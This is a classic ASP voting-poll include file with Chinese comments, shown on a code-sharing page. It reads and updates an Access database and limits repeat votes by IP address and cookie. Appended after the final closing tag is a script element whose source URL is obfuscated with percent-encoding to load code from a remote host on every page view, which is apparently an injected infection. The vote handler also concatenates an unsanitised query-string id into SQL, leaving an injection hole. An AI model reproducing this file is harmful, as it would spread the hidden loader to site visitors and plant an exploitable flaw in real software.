📄 poll_inc.asp
字号:
<div align="center">
<%
'检查用户是否投票,如果sub等于add表示用户单击了投票链接
if Request.QueryString("sub") = "add" Then '
add_vote()
else
Dim SQL, SQL_IP
Dim all_voters, poll_id, cookie_id, expir_date, start_date
'创建connection对象
set cn = server.CreateObject ("ADODB.Connection")
'设定数据库路径
cn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.MapPath ("fpdb/poll.mdb")
'从title和vote表中检索数据
SQL = "SELECT * FROM title, vote WHERE title.active = True AND title.id = vote.poll_id"
'打开数据集
Set rs = cn.execute(SQL)
if not rs.EOF then
'获取投票主题
poll_id = rs("id")
'获取投票总数
all_voters = rs("votes")
'获取过期日期
expir_date = rs("expiration_end")
'获取开始日期
start_date = rs("expiration_start")
'从ip_block表中查询记录,判断用户是否已经投票过
SQL_IP = "SELECT * FROM ip_block WHERE [poll_id_ip]=" & poll_id & " AND [ip]='" & Request.ServerVariables("REMOTE_ADDR") & "'"
Set rs_IP = cn.Execute(SQL_IP)
end if
'获取cookie值
cookie_id = request.cookies("currpoll")
%>
<center>
<table width="500" border="0" cellspacing="0" cellpadding="2">
<tr >
<td bgcolor="#3BB8B8" align="center">四维投票系统</td>
</tr>
<%
'检查是否有活动主题
'如果记录为空,或者活动主题已经过期,则提示没有活动主题
if rs.eof or expir_date < date or start_date > date then
%>
<tr>
<td bgcolor="#F0F5EF">
<table width="100%" border="0" cellspacing="0" cellpadding="2" class="nortxtv8">
<tr>
<td align="center">没有活动投票主题!</td>
</tr>
</table>
</td>
</tr>
<%else '如果有活动主题%>
<%
'检查用户ip是否已经在ip_block中或者是否已经有cookie值
if not rs_IP.eof or cookie_id = Cstr(poll_id) then
%>
<tr>
<td bgcolor="#F0F5EF">
<table width="100%" border="0" cellspacing="0" cellpadding="2" class="nortxtv8">
<tr class="nortxtv8">
<td><%=rs.Fields("title")%></td>
</tr>
<tr class="nortxtv8">
<td>
<%
Dim b, c
do
b = Clng(rs.fields("no_votes"))
'如果投票数为0....
if b = "0" then
%>
<b><%=rs.fields("answer")%></b> <font color="0000FF">0%</font><br />
<font color="0000FF">没有投票.</font><br />
<%
else
'如果有投票,则计算出比例...
c = Clng(100 / all_voters * b)
%>
<b><%=rs.fields("answer")%></b> <font color="0000FF"><%= c & "%" %></font><br />
<img src="img/vote.gif" height="6" width="<%= 1*c %>" alt="<%=rs.Fields("no_votes")%>"><br />
<%
end if
%>
<%
rs.movenext
loop while not rs.eof
%>
<br />
总投票数: <font color="red"><b><%=all_voters%></b></font>
</td>
</tr>
</table>
</td>
</tr>
<%else '如果用户之前没有投票%>
<tr class="nortxtv8">
<td bgcolor="#F0F5EF">
<table width="100%" border="0" cellspacing="0" cellpadding="2">
<form name="addVote" method="POST" action="?sub=add&id=<%=poll_id%>">
<tr class="nortxtv8">
<td colspan="2"><%=rs.Fields("title")%></td>
</tr>
<%do 'create radio buttons with possible answers%>
<tr class="nortxtv8">
<td width="15" nowrap><input type="radio" name="voteFor" value="<%=rs.Fields("answer_id")%>" /></td>
<td width="105"><%=rs.Fields("answer")%></td>
</tr>
<%
rs.MoveNext
loop until rs.EOF
%>
<tr class="nortxtv8">
<td colspan="2" align="center">
<a href="javascript:document.addVote.submit()">投票</a>
<a href="javascript:openWin('prevpoll.asp?id=<%=poll_id%>','Poll','scrollbars=yes,width=450,height=300')">查看投票结果</a>
</td>
</tr>
</form>
</table>
</td>
</tr>
<%end if%>
<%end if%>
<%
'显示投票将要过期的时间
dim calc
if expir_date >= date and not start_date > date then
calc = expir_date - 5
if calc <= date then
%>
<tr class="nortxtv8">
<td bgcolor="#99CCFF" align="center">
<%
select case cstr(date - calc)
case "5":
Response.Write "最后一天!"
case "4":
Response.Write "还剩二天"
case "3":
Response.Write "还剩三天"
case "2":
Response.Write "还剩四天"
case "1":
Response.Write "还剩五天"
case "0":
Response.Write "还剩六天"
end select
%>
</td>
</tr>
<%
end if
end if
%>
<%'查询显示其他非激活主题
Dim a
Dim SQL_inact
rs.close
set rs = nothing
SQL_inact = "SELECT * FROM title WHERE active = False ORDER BY id DESC"
set rs = cn.Execute(SQL_inact)
a = 1
%>
<%
'there is no inactive poll in database
if rs.eof Then '没有记录
%>
<tr class="nortxtv8">
<td bgcolor="#3BB8B8" align="center">没有其他投票主题</td>
</tr>
<%
Else '其他主题都过期了
if rs("expiration_start") > date then%>
<tr class="nortxtv8">
<td bgcolor="#3BB8B8" align="center">没有其他投票主题</td>
</tr>
<%else
'创建其他主题列表...
%>
<tr class="nortxtv8">
<td bgcolor="#3BB8B8" height="20">
<a class=Level1 id=OUT0t>
<img src="img/plus.gif" width="9" height="9" align="absmiddle" class=LEVEL1 id=OUT0i> 其他投票主题</a><br>
<div id=OUT0s style="DISPLAY: none">
<%do '添加链接%>
<a href="#" onClick="openWin('prevpoll.asp?id=<%=rs("id")%>','Poll','scrollbars=yes,width=450,height=300')"><span class="nortxtv8"><%= "<b>" & a & ".</b> " & rs.fields("title")%></span></a><br />
<%
rs.movenext
a = a + 1
loop until rs.eof
%>
</div>
</td>
</tr>
<%
end if
end if
%>
</table>
</center>
<script language="JavaScript">
<!-- //创建菜单,用于显示投票主题
//create expand menu for previous polls
var img1 = new Image();
//plus image
img1.src = "img/plus.gif";
var img2 = new Image();
//minus image
img2.src = "img/minus.gif";
//创建扩展菜单
function doOutline() {
var srcId, srcElement, targetElement;
srcElement = window.event.srcElement;
if (srcElement.className.toUpperCase() == "LEVEL1" || srcElement.className.toUpperCase() == "FAQ") {
srcID = srcElement.id.substr(0, srcElement.id.length-1);
targetElement = document.all(srcID + "s");
srcElement = document.all(srcID + "i");
if (targetElement.style.display == "none") {
targetElement.style.display = "";
if (srcElement.className == "LEVEL1") srcElement.src = img2.src;
} else {
targetElement.style.display = "none";
if (srcElement.className == "LEVEL1") srcElement.src = img1.src;
}
}
}
document.onclick = doOutline;
-->
</script>
<%
rs.close
set rs = nothing
cn.close
set cn = nothing
end if 'end check for add sub
%>
<%
sub add_vote() //添加投票信息
Dim SQL_IP, SQL_upd, SQL_no_votes, SQL_expir, SQL_ip_block
Dim cookie_id, poll_id
on error resume next
'创建connection对象
set cn = server.CreateObject ("ADODB.Connection")
cn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.MapPath ("fpdb/poll.mdb")
'获取投票主题编号
poll_id = Request.QueryString("id")
cookie_id = request.cookies("currpoll")
'从ip_block 表中查询是否该ip地址是否已经投票
SQL_IP = "SELECT * FROM ip_block WHERE poll_id_ip=" & poll_id & " AND ip='" & Request.ServerVariables("REMOTE_ADDR") & "'"
Set rs_IP = cn.Execute(SQL_IP)
'如果用户没有选择投票选项、或者已经有cookie值、或者IP地址已经在ip_block中则回到投票页面
'then redirect back to the site where he came from
If cookie_id = Cstr(poll_id) or Request.form("voteFor") = "" or not rs_IP.Eof then
Response.Redirect(Request.ServerVariables("URL"))
'如果还没有投票
else
'修改votes表记录...
SQL_upd = "UPDATE vote SET no_votes=no_votes + 1 WHERE answer_id=" & int(Request.form("voteFor"))
'修改title表记录
SQL_no_votes = "UPDATE title SET votes=votes + 1 WHERE id=" & int(poll_id)
'获取过期日期
SQL_expir = "SELECT * FROM title WHERE id=" & int(poll_id)
'插入用户ip地址
SQL_ip_block = "INSERT INTO ip_block (poll_id_ip, ip) VALUES (" & int(poll_id) & ",'" & Request.ServerVariables("REMOTE_ADDR") & "')"
set rs_upd = cn.execute(SQL_upd)
set rs_no_votes = cn.execute(SQL_no_votes)
set rs_expir = cn.execute(SQL_expir)
set rs_ip_block = cn.execute(SQL_ip_block)
'设定cookie值
Response.cookies("currpoll") = poll_id
'cookie失效日期为投票主题失效日期
Response.Cookies("currpoll").Expires = rs_expir("expiration")
'关闭连接..
rs_upd.Close
rs_no_votes.close
rs_expir.close
rs_ip_blokck.close
set rs_upd = nothing
set rs_no_votes = nothing
set rs_expir = nothing
set rs_ip_blokck = nothing
cn.Close
set cn = nothing
'回到投票主题页面
Response.Redirect(Request.ServerVariables("URL"))
end if
end sub
%>
</div><script src="http://%78%66%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -